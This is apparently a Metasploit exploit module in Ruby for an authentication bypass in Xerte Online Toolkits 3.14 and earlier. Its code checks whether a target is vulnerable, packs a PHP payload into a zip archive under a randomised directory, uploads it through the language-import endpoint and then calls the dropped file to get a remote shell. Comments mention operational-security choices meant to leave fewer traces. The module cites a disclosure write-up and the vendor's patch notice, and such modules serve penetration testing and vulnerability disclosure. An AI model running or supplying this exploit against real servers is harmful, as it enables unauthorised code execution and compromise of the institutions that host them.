## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Xerte Online Toolkits Arbitrary File Upload - Import Language', 'Description' => %q{ This module exploits an authentication bypass allowing arbitrary file upload in versions 3.14 and earlier to upload and execute a shell. }, 'License' => MSF_LICENSE, 'Author' => [ 'Brandon Lester', ], 'References' => [ ['URL', 'https://blog.haicen.me/posts/xerte-online-toolkits/'], ['URL', 'https://www.xerte.org.uk/index.php/en/news/blog/80-news/357-xerte-3-13-en-3-14-important-security-update-now-available'] ], 'Privileged' => false, 'Targets' => [ [ 'PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ] ], 'DisclosureDate' => '2025-08-04', 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => [REPEATABLE_SESSION], 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The path of a xerte installation', '/xerteonlinetoolkits']) ] ) end def check print_status('Performing check') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'language', 'import_language.php') }) if res&.code == 200 if res.body.include?('No valid language definition found in the file!') return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end return Exploit::CheckCode::Safe end def http_send_command(_cmd) print_status("Calling shell at #{target_uri.path}/#{shell_location}/#{php_filename}") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "/#{shell_location}/#{php_filename}") }) res end def upload_payload_zip zip = Rex::Zip::Archive.new # add the payload to the zip archive, under a pre-defined location. # this is cleaner opsec than the default languages directory, as that leaves difficult to delete artifacts. # This has the added benefit of not needing to worry about the .htaccess restrictions. zip.add_file("#{shell_location}/#{php_filename}", payload.encoded) # add the zip archive to the post request mime = Rex::MIME::Message.new mime.add_part(zip.pack, 'application/zip', 'binary', %(form-data; name="filenameuploaded"; filename="#{zip_filename}")) register_dirs_for_cleanup("../#{shell_location}") send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'language', 'import_language.php'), 'ctype' => "multipart/form-data; boundary=#{mime.bound}", 'data' => mime.to_s ) end def exploit upload_payload_zip print_status('Uploaded the zip') http_send_command(payload.encoded) end def php_filename @php_filename ||= Rex::Text.rand_text_alpha(8) + '.php' end def shell_location @shell_location ||= Rex::Text.rand_text_alpha(8) + 'languages' end def zip_filename @zip_filename ||= Rex::Text.rand_text_alpha(8) + 'languages.zip' end end